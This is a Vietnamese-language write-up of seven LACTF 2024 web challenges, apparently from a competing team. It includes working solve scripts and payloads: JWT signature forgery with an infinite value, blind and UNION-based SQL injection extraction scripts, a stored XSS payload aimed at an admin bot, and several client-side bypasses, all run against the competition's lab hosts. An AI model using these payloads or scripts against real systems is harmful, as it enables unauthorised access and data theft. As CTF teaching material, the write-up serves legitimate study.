LACTF 2024 - web 7/10
web/jason-web-token - 62 solves / 471 points
Description
With all this hype around jwt, I decided to implement jason web tokens to secure my OWN jason fan club site. Too bad its not in haskell. jwt.chall.lac.tf
Link: jwt.chall.lac.tf
Source code here
Solution
Cookie của chúng ta cần phải có role admin để có thể xem được flag
@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
userinfo, err = auth.decode_token(token)
if err:
resp.status_code = 400
return {"err": err}
if userinfo["role"] == "admin":
return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}
Phân tích auth.py
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
class admin:
username = os.environ.get("ADMIN", "admin-owo")
age = int(os.environ.get("ADMINAGE", "30"))
def create_token(**userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
def decode_token(token):
if not token:
return None, "invalid token: please log in"
datahex, signature = token.split(".")
data = bytes.fromhex(datahex).decode()
userinfo = json.loads(data)
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
if hash_(f"{data}:{salted_secret}") != signature:
return None, "invalid token: signature did not match data"
return userinfo, None
secret
gồm 128 ký tự và nó đã đượchash_
. Ban đầu chúng tôi nghĩ nó là một thử thách crypto web và cố gắng reverse lạisalted_secret
nhưng điều đó là không thể.
Thử reverse token
ta sẽ có được các info sau:
token = "7b22757365726e616d65223a202261646d696e222c2022616765223a2033302c2022726f6c65223a202275736572222c202274696d657374616d70223a20313730383333353933367d.c856970d188471f88f8fed0ed3a5ecf63235f2ac5f519db34141d01d1df66fc7"
print(decode_token(token))
Result:
{'username': 'admin', 'age': 30, 'role': 'user', 'timestamp': 1708335936}
Để ý trong hàm create_toke
:
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
token được tạo bằng cách encode hex data
và hash thêm data
và salted_secret
lại với nhau.
Ý tưởng của tôi là tìm một giá trị age
sao cho khi thực hiện phép XOR salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
luôn trả về cùng một giá trị salted_secret
.
import hashlib
import json
import os
import time
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
timestamp = 1708246980
age = 1.502133718745105e+308
salted_secret = (secret ^ timestamp) + age
print(secret)
print(salted_secret)
Result:
└─$ python3 brute.py
72150779828085254667751326077368032454355155822936624141692124616491552203075921572132985750110322461045146775789003212623470858206512092125376350223613842168735269945647029460362090738405453283852437300659701083210968460115973602812166346131359006008765370127557608590909491350790682423169766921338189196929
inf
Khi giá age thật lớn , phép XOR sẽ luôn trả về cùng một giá trị là inf
điều này làm cho salted_secret
luôn cố định dẫn tới hash_(f"{data}:{salted_secret}")
luôn return về cùng một giá trị.
Lúc này ta có thể sửa lại phần data , sửa role
thành admin
và cập nhật lại phần hash
để bypass xác thực.
Tạo token
mới.
import hashlib
import json
import os
import time
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
def create_token(**userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
def decode_token(token):
if not token:
return None, "invalid token: please log in"
datahex, signature = token.split(".")
data = bytes.fromhex(datahex).decode()
userinfo = json.loads(data)
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
# if hash_(f"{data}:{salted_secret}") != signature:
# return None, "invalid token: signature did not match data"
return userinfo, None
is_admin = 1
token = create_token(
username="admin",
age=10e1000,
role=("admin" if is_admin else "user")
)
print(token)
print(decode_token(token))
Result:
7b22757365726e616d65223a202261646d696e222c2022616765223a20496e66696e6974792c2022726f6c65223a202261646d696e222c202274696d657374616d70223a20313730383333363732317d.f400d5c6a0e12fa8cd07adf0c9ee83fc59180dccda337beedcdb6ffd4a206f45
({'username': 'admin', 'age': inf, 'role': 'admin', 'timestamp': 1708336721}, None)
Gửi lại token
này và nhận flag.
flag: lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}
Script
import hashlib
import json
import os
import time
import requests
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
url = "http://jwt.chall.lac.tf"
def create_token(**userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
is_admin = 1
token = create_token(
username="admin",
age=10e1000,
role=("admin" if is_admin else "user")
)
response = requests.get(url + '/img', headers={ 'Cookie': f'token={token}', })
print(response.text)
Result:
└─$ python3 exp.py
{"msg":"Your flag is lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}\n","img":"/static/bplet.png"}
web/penguin-login - 182 solves / 392 points
Description
I got tired of people leaking my password from the db so I moved it out of the db.
Link: penguin.chall.lac.tf
Source code here
Solution
Flag nằm trong table penguins
curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))
Phân tích app.py
@app.post("/submit")
def submit_form():
try:
username = request.form["username"]
conn = get_database_connection()
assert all(c in allowed_chars for c in username), "no character for u uwu"
assert all(
forbidden not in username.lower() for forbidden in forbidden_strs
), "no word for u uwu"
with conn.cursor() as curr:
curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
result = curr.fetchall()
if len(result):
return "We found a penguin!!!!!", 200
return "No penguins sadg", 201
except Exception as e:
return f"Error: {str(e)}", 400
# need to commit to avoid connection going bad in case of error
finally:
conn.commit()
Về cơ bản có thể thấy có lỗi sql injection tại curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
.
Ý tưởng của tôi là chèn payload vào username
để kiểm tra từng ký của flag. Tuy nhiên, username
chỉ được phép chứa các ký tự sau:
allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
tương đương với {'9', '3', 'b', 'R', '4', 'i', 'm', 'P', 't', 'w', 'E', 'k', 'o', 'n', 'x', 'g', 'Z', 'A', 'c', 'u', 's', 'J', 'Q', 'T', 'H', ' ', 'f', 'e', 'M', 'D', 'K', '7', 'N', 'q', 'I', 'O', 'W', 'Y', 'j', '2', '8', 'S', 'a', 'l', 'z', '6', 'h', 'B', 'X', 'L', 'V', 'r', 'd', '1', '0', '5', 'p', 'G', '_', 'y', '{', 'C', 'U', 'v', "'", 'F', '}'}
Tham khảo bài viết sau: https://stackoverflow.com/questions/12452395/difference-between-like-and-in-postgres
Payload sẽ trông như sau: SELECT * FROM penguins WHERE name LIKE 'l%';
nhưng like
bị cấm sử dụng forbidden_strs = ["like"]
vì vậy ta có thể sử dụng SIMILAR TO
Trong PostgreSQL, điều kiện SIMILAR TO được sử dụng để thực hiện so sánh chuỗi sử dụng các biểu thức chính quy (regular expressions). Cú pháp của SIMILAR TO giống với LIKE, nhưng nó sử dụng cú pháp biểu thức chính quy thay vì các mẫu đơn giản.
Tham khảo tại đây: https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-SIMILARTO-REGEXP
Chúng ta có thể thực hiện leak flag bằng cách:
username=' OR name SIMILAR TO 'la___________________________________________
Ta sẽ thay đổi từng ký tự _
bằng từng chữ cái một một cách tuần tự cho tới khi tìm được full flag. Nếu ký tự tiếp theo nhập đúng, server sẽ trả về We found a penguin!!!!!
. Ngược lại, No penguins sadg
.
Hãy nhìn và so sánh 2 bức ảnh này.
Script
import requests
url = "http://penguin.chall.lac.tf/submit"
base_username = "' OR name SIMILAR TO 'la___________________________________________"
flag = ""
for i in range(len(base_username)):
if base_username[i] == '_':
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-=+[]{}_|;:'\",.<>/?`~ ":
username = base_username[:i] + char + base_username[i+1:]
headers = {
'Host': 'penguin.chall.lac.tf',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://penguin.chall.lac.tf',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://penguin.chall.lac.tf/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'close',
}
payload = f"username={username}"
response = requests.post(url, headers=headers, data=payload)
if "We found a penguin!!!!!" in response.text:
flag += char
print(f"Found character: {char}, Flag: {flag}")
break
print(f"Final flag: {flag}")
Result:
Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_
Found character: d, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_d
Found character: b, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_db
Found character: s, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs
Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_
Found character: 0, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0
Found character: w, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w
Found character: 0, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0
Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_
Final flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_
flag: lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}
web/pogn - 188 solves/ 333 points
Description
Pogn in mong.
Link: pogn.chall.lac.tf
Source code here
Solution
Ta có thể ứng dụng web có tương tác với websocket
Để ý đoạn code để có được flag trong server.js
const isNumArray = (v) => Array.isArray(v) && v.every(x => typeof x === 'number');
let prev = Date.now();
const interval = setInterval(() => {
try {
const dt = (Date.now() - prev) / 100;
prev = Date.now();
// move server's paddle to be same y as the ball
me[1] = ball[1];
// give ball some movement if it stagnates
if (Math.abs(ballV[0]) < 0.5) {
ballV[0] = Math.random() * 2;
}
// collision with user's paddle
if (norm(sub(op, ball)) < collisionDist) {
ballV = add(opV, mul(normalize(sub(ball, op)), 1 / norm(ballV)));
}
// collision with server's paddle
if (norm(sub(me, ball)) < collisionDist) {
ballV = add([-3, 0], mul(normalize(sub(ball, me)), 1 / norm(ballV)));
}
// update ball position
ball[0] += ballV[0] * dt;
ball[1] += ballV[1] * dt;
// wall bouncing
if (ball[1] < -yMax || ball[1] > yMax) {
ball[1] = clamp(ball[1], -yMax, yMax);
ballV[1] *= -1;
}
// check if there has been a winner
// server wins
if (ball[0] < 0) {
ws.send(JSON.stringify([
Msg.GAME_END,
'oh no you have lost, have you considered getting better'
]));
clearInterval(interval);
// game still happening
} else if (ball[0] < 100) {
ws.send(JSON.stringify([
Msg.GAME_UPDATE,
[ball, me]
]));
// user wins
} else {
ws.send(JSON.stringify([
Msg.GAME_END,
'omg u won, i guess you considered getting better ' +
'here is a flag: ' + flag,
[ball, me]
]));
clearInterval(interval);
}
} catch (e) {}
}, 50); // roughly 20fps
Script
from websocket import create_connection
def main():
ws = create_connection("ws://pogn.chall.lac.tf/ws")
cond = True
for _ in range(100):
ws.send(b'[1,[[0,0],[0,0]]]')
received_data = ws.recv()
print(received_data)
if int(received_data[1]) == 2:
cond = False
break
if __name__ == "__main__":
main()
flag: lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}
web/new-housing-portal - 214 solves/ 368 points
Description
After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?
Hint - You can send a link that the admin bot will visit as samy.
Hint - Come watch the real Samy's talk if you are stuck!
Link-Site: new-housing-portal.chall.lac.tf
Link-Admin-Bot: https://admin-bot.lac.tf/new-housing-portal
Source code here
Solution
Giao diện:
Trong server.js
ta có thể thấy được flag nằm trong deepestDarkestSecret
của username samy
users.set('samy', {
username: 'samy',
name: 'Samy Kamkar',
deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
password: process.env.ADMINPW || 'owo',
invitations: [],
registration: Infinity
});
Vì vậy, mục tiêu là làm sao cho samy
gửi lời invit với ta. lúc đó flag sẽ nằm trong lời mời.
Lỗ hổng XSS nằm ở chức năng /finder
:
- Khi truy cập
/finder?q=abc81
, hệ thống sẽ trả về kết quả chứa thông tin{username, name}
và đặt nó vào thẻspan.name
bằng cách sử dụnginnerHTML
.const params = new URLSearchParams(location.search); const query = params.get('q'); if (query) { (async () => { const user = await fetch('/user?q=' + encodeURIComponent(query)) .then(r => r.json()); if ('err' in user) { $('.err').innerHTML = user.err; $('.err').classList.remove('hidden'); return; } $('.user input[name=username]').value = user.username; $('span.name').innerHTML = user.name; $('span.username').innerHTML = user.username; $('.user').classList.remove('hidden'); })(); }
Do đó, có khả năng chèn payload vào trường name
khi đăng ký người dùng và gửi liên kết /finder
chứa payload đến admin
payload:
username=abc81&password=abc81&name=<img src=x onerror="fetch('/finder', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=abc81'})">&deepestDarkestSecret=abc81
Gửi link sau cho bot: https://new-housing-portal.chall.lac.tf/finder/?q=abc81
flag: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}
web la housing portal - 344 solves/ 265 points
Description
Portal Tips Double Dashes ("--") Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.
Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we've charged them a fee for leaving, but we are stuck with this website. Sorry about that.
Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.
Link: la-housing.chall.lac.tf
Source code here
Solution
Source code:
Giao diện
Phân tích app.py
:
import sqlite3
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route("/")
def home():
return render_template("index.html")
@app.route("/submit", methods=["POST"])
def search_roommates():
data = request.form.copy()
if len(data) > 6:
return "Invalid form data", 422
for k, v in list(data.items()):
if v == 'na':
data.pop(k)
if (len(k) > 10 or len(v) > 50) and k != "name":
return "Invalid form data", 422
if "--" in k or "--" in v or "/*" in k or "/*" in v:
return render_template("hacker.html")
name = data.pop("name")
roommates = get_matching_roommates(data)
return render_template("results.html", users = roommates, name=name)
def get_matching_roommates(prefs: dict[str, str]):
if len(prefs) == 0:
return []
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
print(query)
conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
cursor = conn.cursor()
cursor.execute(query)
r = cursor.fetchall()
cursor.close()
return r
- Tuyến
/submit
lấy dữ liệu nhập từ POST của người dùng và thực hiện một số hàm xác thực, họiget_matching_roommate
và hiển thị templaetresults.html
- Hàm
search_roommates
: lấy dữ liệu nhập từ reuqets. Xác thực độ dài dữ liệu và kiểm tra khả năng chèn SQL injection sử dụng--
và/*
. Gọi hàmget_matching_roommates
sau khi đã filter dữ liệu để query vào database. - Hàm
get_matching_roommates
kết nối tới database và chèn các dữ liệu từ người dùng vàoWHERE
để truy vấn
Có thể thấy ngăn ứng dụng dính SQL injection trong hàm get_matching_roommates
. Việc filter có hiệu quả nhưng không cao vì vẫn cho phép sử dụng ký tự '
.
Payload: awake=' UNION SELECT 1,2,3,4,5,flag FROM flag WHERE ''='
Hoặc làm theo hướng boolean-based , kết hợp thêm điều kiện AND
nữa để kiểm tra từng ký tự của flag. awake=8-10am\'AND substr((select flag from flag),1,1)=\'l
Script
import requests
import threading
url = 'https://la-housing.chall.lac.tf/submit'
headers = {
'Host': 'la-housing.chall.lac.tf',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://la-housing.chall.lac.tf',
'Referer': 'https://la-housing.chall.lac.tf/',
}
payload_template = 'name=abc&guests=No+guests+at+all&neatness=Straighten+up+before+bed&sleep=midnight-2am&awake=8-10am\'AND substr((select flag from flag),{},1)=\'{}'
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=[]{}|;:,.<>?/'
flag = ""
lock = threading.Lock()
def make_request(i, char):
global flag
payload = payload_template.format(i, char)
response = requests.post(url, headers=headers, data=payload)
if "Finley Orozco" in response.text:
with lock:
print(flag)
flag += char
num_threads = 10
threads = []
for i in range(1, 101):
for char in characters:
thread = threading.Thread(target=make_request, args=(i, char))
threads.append(thread)
if len(threads) == num_threads:
for thread in threads:
thread.start()
for thread in threads:
thread.join()
threads = []
print(flag)
flag: lactf{us3_s4n1t1z3d_1npu7!!!}
web/flaglang - 607 solves/ 133 points
Description
Do you speak the language of the flags?
Link: flaglang.chall.lac.tf
Source code here
Solution
Giao diện:
Phân tích app.js
. Đây là một ứng dụng web sử dụng Express để hiển thị thông tin từ một file YAML.
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const express = require('express');
const cookieParser = require('cookie-parser');
const yaml = require('yaml');
const yamlPath = path.join(__dirname, 'countries.yaml');
const countryData = yaml.parse(fs.readFileSync(yamlPath).toString());
const countries = new Set(Object.keys(countryData));
const countryList = JSON.stringify(btoa(JSON.stringify(Object.keys(countryData))));
const isoLookup = Object.fromEntries([...countries].map(name => [
countryData[name].iso,
{...countryData[name], name }
]));
const app = express();
const secret = crypto.randomBytes(32).toString('hex');
app.use(cookieParser(secret));
app.use('/assets', express.static(path.join(__dirname, 'assets')));
app.get('/switch', (req, res) => {
if (!req.query.to) {
res.status(400).send('please give something to switch to');
return;
}
if (!countries.has(req.query.to)) {
res.status(400).send('please give a valid country');
return;
}
const country = countryData[req.query.to];
if (country.password) {
if (req.cookies.password === country.password) {
res.cookie('iso', country.iso, { signed: true });
}
else {
res.status(400).send(`error: not authenticated for ${req.query.to}`);
return;
}
}
else {
res.cookie('iso', country.iso, { signed: true });
}
res.status(302).redirect('/');
});
app.get('/view', (req, res) => {
if (!req.query.country) {
res.status(400).json({ err: 'please give a country' });
return;
}
if (!countries.has(req.query.country)) {
res.status(400).json({ err: 'please give a valid country' });
return;
}
const country = countryData[req.query.country];
const userISO = req.signedCookies.iso;
if (country.deny.includes(userISO)) {
res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
return;
}
res.status(200).json({ msg: country.msg, iso: country.iso });
});
app.get('/', (req, res) => {
const template = fs.readFileSync(path.join(__dirname, 'index.html')).toString();
const iso = req.signedCookies.iso || 'US';
const country = isoLookup[iso];
res
.status(200)
.type('html')
.send(template
.replaceAll('$msg$', country.msg)
.replaceAll('$name$', country.name)
.replaceAll('$iso$', country.iso)
.replaceAll('$countries$', countryList)
);
});
app.listen(3000);
Flag nằm ở đầu tiên trong msg
của quốc gia tên là Flagistan
với iso
là FL
.
Flagistan:
iso: FL
msg: "<REDACTED>"
password: "<REDACTED>"
Ta sẽ cần dùng tới Flagistan
để xem được flag bằng /view
Tuy nhiên Flagistan
có lệnh cấm Flagistan has an embargo on your country
đối với tất cả các quốc gia khác thuộc list
["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]
Phân tích tuyến /view
app.get('/view', (req, res) => {
if (!req.query.country) {
res.status(400).json({ err: 'please give a country' });
return;
}
if (!countries.has(req.query.country)) {
res.status(400).json({ err: 'please give a valid country' });
return;
}
const country = countryData[req.query.country];
const userISO = req.signedCookies.iso;
if (country.deny.includes(userISO)) {
res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
return;
}
res.status(200).json({ msg: country.msg, iso: country.iso });
});
Giá trị cookie iso
được lấy từ request và kiểm tra xem nó có trong danh danh deny
của quốc gia đó hay không. Đoạn code chỉ đơn giản lấy giá trị và kiểm tra xem nó có trong deny
hay không mà không kiểm tra xem cookie có được cung cấp hay không?
Bỏ phần cookie đi ta sẽ có được flag.
flag: lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}
web/terms-and-conditions - 771 solves/ 106 points
Description
Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!
Link: terms-and-conditions.chall.lac.tf
Solution
Giao diện challenge trông như sau:
Để getFlag ta cần click vào nút I Accept
tuy nhiên không thể di chuột được vào nút này.
Mã nguồn chứa flag đã nằm trong file http://terms-and-conditions.chall.lac.tf/analytics.js
đã bị obfuscate . Tôi đã thử deofuscate nhưng không mang lại kết quả.
Hướng tiếp theo là chỉnh sửa source code để click được vào nút I Accept
Trong mainscript ta sẽ thấy một đoạn code sau:
<script id="mainscript">
const accept = document.getElementById("accept");
document.body.addEventListener("touchstart", (e) => {
document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>";
});
let tx = 0;
let ty = 0;
let mx = 0;
let my = 0;
window.addEventListener("mousemove", function (e) {
mx = e.clientX;
my = e.clientY;
});
setInterval(function () {
const rect = accept.getBoundingClientRect();
const cx = rect.x + rect.width / 2;
const cy = rect.y + rect.height / 2;
const dx = mx - cx;
const dy = my - cy;
const d = Math.hypot(dx, dy);
const mind = Math.max(rect.width, rect.height) + 10;
const safe = Math.max(rect.width, rect.height) + 25;
if (d < mind) {
const diff = mind - d;
if (d == 0) {
tx -= diff;
} else {
tx -= (dx / d) * diff;
ty -= (dy / d) * diff;
}
} else if (d > safe) {
const v = 2;
const offset = Math.hypot(tx, ty);
const factor = Math.min(v / offset, 1);
if (offset > 0) {
tx -= tx * factor;
ty -= ty * factor;
}
}
accept.style.transform = `translate(${tx}px, ${ty}px)`;
}, 1);
let width = window.innerWidth;
let height = window.innerHeight;
setInterval(function() {
if (window.innerHeight !== height || window.innerWidth !== width) {
document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>";
height = window.innerHeight;
width = window.innerWidth;
}
}, 10);
Đoạn code này là một đoạn JS, thực hiện lắng nghe sự kiện từ người dùng:
window.addEventListener("mousemove", function (e) {...});
: Đoạn này thêm một sự kiệnmousemove
lên browser. Khi con trỏ chuột được di chuyển lên trang, một callback function sẽ được gọi để lưu lại tọa độ của chuột.- Sử dụng setInterval để liên tục kiểm tra và điều chỉnh vị trí của phần tử
accept
dựa trên tọa độ của chuộtsetInterval(function () { ... }, 1);
- Tính toán vị trí của
accept
dựa trên tọa độ của chuộtaccept.style.transform = `translate(${tx}px, ${ty}px)`;
- Thêm sự kiện để kiểm tra và ngăn việc mở console
let width = window.innerWidth; let height = window.innerHeight; setInterval(function() { // ... }, 10);
Có thể thấy sự kiện kiểm tra và ngăn chặn mở console chỉ so sánh width
và height
có thay đổi hay không? vì vậy để vẫn sử dụng được console , chỉ cần mở sẵn một tab khác như Network rồi load lại trang để reset width
và height
rồi chuyển hướng sang trang console. Lúc này width
và height
sẽ không thay đổi.
Thay đổi toại độ chuột thành (0,0):
window.addEventListener("mousemove", function (e) {
mx = 0;
my = 0;
});
Click vào nút và lấy flag: lactf{that_button_was_definitely_not_one_of_the_terms}
Comments